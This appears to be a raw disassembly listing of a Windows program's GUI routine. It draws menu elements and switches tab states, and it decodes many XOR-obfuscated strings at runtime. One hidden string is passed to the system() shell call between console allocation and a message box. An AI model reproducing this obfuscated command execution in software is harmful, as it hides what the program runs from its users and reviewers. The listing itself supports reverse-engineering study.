lea rcx, [rbp + 0x5e8]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x5f0]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x5f8]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x600]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004cb87
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x608]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004cbc2
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x610]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004cbfd
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x618]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004cc38
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x620]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004cc73
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
mov rcx, qword [0x14038e848]
call fcn.140012420
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1660]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov esi, eax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1670]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e190]
movss xmm7, dword [0x14014e07c]
movaps xmm1, xmm7
lea rcx, [rbp + 0x628]
call fcn.1400014d0
movss xmm2, dword [rax]
movss xmm3, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5aa9634a3c3474c4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2700], rax
movabs rax, 0x8bb11bd435c7ea13
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2708], rax
movabs rax, 0xce12424579200bd5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2710], rax
movabs rcx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2718], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2720], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2728], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2730], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2738], rax
vmovdqu ymm0, ymmword [rbp + 0x2700]
vpxor ymm1, ymm0, ymmword [rbp + 0x2720]
vmovdqa ymmword [rbp + 0x2700], ymm1
vmovss xmm0, dword [0x14014df38]
vmovss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
vunpcklps xmm2, xmm2, xmm3
vmovq rdx, xmm2
lea rcx, [rbp + 0x2700]
vzeroupper
call fcn.1400328d0
call fcn.1400124c0
call fcn.140016a10
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9f306679023ddb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1680], rcx
movabs rax, 0xabe11ba770e5b304
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1688], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1690], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1698], rax
movdqa xmm0, xmmword [rbp + 0x1690]
xorps xmm0, xmmword [rbp + 0x1680]
movdqa xmmword [rbp + 0x1680], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x16a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e050]
movaps xmm1, xmm7
lea rcx, [rbp + 0x630]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1680]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
nop
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x3b89267a75112cf2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b0], rax
movabs rax, 0xabe13b9d1595ca24
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c8], rax
movdqa xmm0, xmmword [rbp + 0x16c0]
xorps xmm0, xmmword [rbp + 0x16b0]
movdqa xmmword [rbp + 0x16b0], xmm0
lea rdx, [rbp + 0x16b0]
lea rcx, [rbp + 0x2740]
call fcn.1400736b0
nop
lea rcx, [rbp + 0x2740]
call fcn.14007f370
movsxd rbx, eax
lea rcx, [rbp + 0x2740]
call fcn.140073650
lea rcx, [rbp + 0x638]
call fcn.14003dc30
mov rdx, rbx
lea rcx, [rbp + 0x640]
call fcn.14003dc50
lea r8, [rbp + 0x638]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x648]
call fcn.140039460
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.140073e30
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x148]
call fcn.1400744d0
mov rcx, rax
call fcn.140073440
mov ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
mov dword [rbp + 0x14c], eax
lea rdx, [rbp + 0x14c]
lea rcx, [rbp + 0x150]
call fcn.140074500
mov rdx, rax
lea rcx, [rbp + 0x658]
call fcn.140074510
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x650]
call fcn.140073450
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x154]
call fcn.1400744d0
mov rcx, rax
call fcn.140073440
mov dword [rbp + 0x158], eax
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x15c]
call fcn.140074500
mov rdx, rax
lea rcx, [rbp + 0x660]
call fcn.140074510
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x650]
call fcn.140073450
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x160]
call fcn.140074530
mov rcx, rax
call fcn.140073440
mov dword [rbp + 0x164], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x140]
call fcn.140074500
mov rdx, rax
lea rcx, [rbp + 0x668]
call fcn.140074560
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x650]
call fcn.140073450
lea rcx, [rbp + 0x650]
call fcn.140073460
mov edx, dword [rbp + 0x158]
lea rcx, [rbp + 0x2760]
call fcn.14003da10
nop
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f972a5c3c043ad8
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16d0], rcx
movabs rax, 0xabe13b9d70e69f70
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16d8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16e8], rax
movdqa xmm0, xmmword [rbp + 0x16e0]
xorps xmm0, xmmword [rbp + 0x16d0]
movdqa xmmword [rbp + 0x16d0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x16f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e050]
movss xmm1, dword [0x14014e0d4]
lea rcx, [rbp + 0x670]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x16d0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x2760]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1700]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e0f0]
lea rcx, [rbp + 0x678]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
nop
lea rcx, [rbp + 0x2760]
call fcn.140073650
nop
jmp 0x14004d33e
movabs rbx, 0xf90d78d79683203a
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9f306679023ddb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2780], rcx
movabs rax, 0xcead1bee67e0a518
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2788], rcx
movabs rax, 0xce5c620a79535fe7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2790], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2798], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27a0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27a8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2780]
vpxor ymm1, ymm0, ymmword [rbp + 0x27a0]
vmovdqa ymmword [rbp + 0x2780], ymm1
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1770]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movaps xmm1, xmm7
lea rcx, [rbp + 0x690]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2780]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x409f306679023ddb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1780], rcx
movabs rax, 0xabe13b9d1595ca70
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1788], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1790], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1798], rax
movdqa xmm0, xmmword [rbp + 0x1790]
xorps xmm0, xmmword [rbp + 0x1780]
movdqa xmmword [rbp + 0x1780], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x17a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movaps xmm1, xmm7
lea rcx, [rbp + 0x698]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1780]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x17b0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0b0]
lea rcx, [rbp + 0x6a0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x14038e900]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140016b70
jmp 0x14004d614
movss xmm7, dword [0x14014e07c]
cmp dword [0x14038e7a0], 7
jne 0x14004dfbe
mov rcx, qword [0x14038e848]
call fcn.140012420
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x17c0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov esi, eax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x17d0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm15
movss xmm1, dword [0x14014e0f8]
lea rcx, [rbp + 0x6a8]
call fcn.1400014d0
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5aae635c3c2474c4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xabb21bda35dbea19
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17e8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17f0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17f8], rax
movdqa xmm0, xmmword [rbp + 0x17f0]
xorps xmm0, xmmword [rbp + 0x17e0]
movdqa xmmword [rbp + 0x17e0], xmm0
movss xmm0, dword [0x14014df38]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, [rbp + 0x17e0]
call fcn.1400328d0
call fcn.1400124c0
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1800]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x6b0]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x6b8]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x6c0]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x6c8]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004d848
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x6d0]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004d883
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x6d8]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004d8be
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x6e0]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004d8f9
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x6e8]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004d934
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x28da2e6d68122dc4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1810], rcx
movabs rax, 0xabe13bef7cf4ba35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1818], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1820], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1828], rax
movdqa xmm0, xmmword [rbp + 0x1820]
xorps xmm0, xmmword [rbp + 0x1810]
movdqa xmmword [rbp + 0x1810], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1830]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e050]
movaps xmm1, xmm7
lea rcx, [rbp + 0x6f0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1810]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm7, dword [0x14014e00c]
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x6f8]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x700]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29da31617d1131c5
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1840], rcx
movabs rax, 0xabe13bf070e1b929
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1848], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1850], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1858], rax
movdqa xmm0, xmmword [rbp + 0x1850]
xorps xmm0, xmmword [rbp + 0x1840]
movdqa xmmword [rbp + 0x1840], xmm0
lea rcx, [rbp + 0x1840]
call fcn.140031280
test al, al
je 0x14004dd5c
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1b9930273c0232e4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1860], rax
movabs rax, 0xabe13b9d62faa43e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1868], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1870], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1878], rax
movdqa xmm0, xmmword [rbp + 0x1870]
xorps xmm0, xmmword [rbp + 0x1860]
movdqa xmmword [rbp + 0x1860], xmm0
lea rcx, [rbp + 0x1860]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa435c4e2418d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1880], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1888], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1890], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1898], rax
movdqa xmm0, xmmword [rbp + 0x1890]
xorps xmm0, xmmword [rbp + 0x1880]
movdqa xmmword [rbp + 0x1880], xmm0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29da2e6d68122dc4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4020], rax
movabs rax, 0xc28f52db35fbab33
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4028], rax
movabs rax, 0xa20c68243d0c43f2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4030], rax
movabs rax, 0x8a682af7f3f0415f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4038], rax
movabs rax, 0x23110bbca58900bf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4040], rax
movabs rax, 0xc0b1e2c1a1766510
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4048], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34c8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xf90d78d79683203a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34d8], rax
movabs rax, 0x5068589cd1fb61cb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34e0], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x34e8], rax
vmovdqu ymm0, ymmword [rbp + 0x4020]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0x4020], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4040]
vxorps xmm0, xmm0, xmmword [rbp + 0x34e0]
vmovdqa xmmword [rbp + 0x4040], xmm0
mov r9d, 0x40
lea r8, [rbp + 0x1880]
lea rdx, [rbp + 0x4020]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f9722666e0427c2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18a0], rcx
movabs rax, 0xabe13b9d1595ca6a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18a8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18b0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18b8], rax
movdqa xmm0, xmmword [rbp + 0x18a0]
xorps xmm0, xmmword [rbp + 0x18b0]
movdqa xmmword [rbp + 0x18a0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x18c0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e084]
movss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x708]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x18a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x18d0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e084]
movss xmm1, dword [0x14014e0bc]
lea rcx, [rbp + 0x710]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rsi, [0x14038e8c0]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x718]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e088]
lea rcx, [rbp + 0x720]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x89f305d3c1631d9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18e0], rcx
movabs rax, 0xabe13b9d70f8ab3e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18e8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18f0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18f8], rax
movdqa xmm0, xmmword [rbp + 0x18e0]
xorps xmm0, xmmword [rbp + 0x18f0]
movdqa xmmword [rbp + 0x18e0], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdx
mov r9d, 0x40
mov r8, rsi
lea rdx, [rbp + 0x18e0]
lea rcx, [0x1401477a0]
call fcn.140036820
jmp 0x14004dfc6
movss xmm7, dword [0x14014e00c]
cmp dword [0x14038e7a0], 8
jne 0x14004f635
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
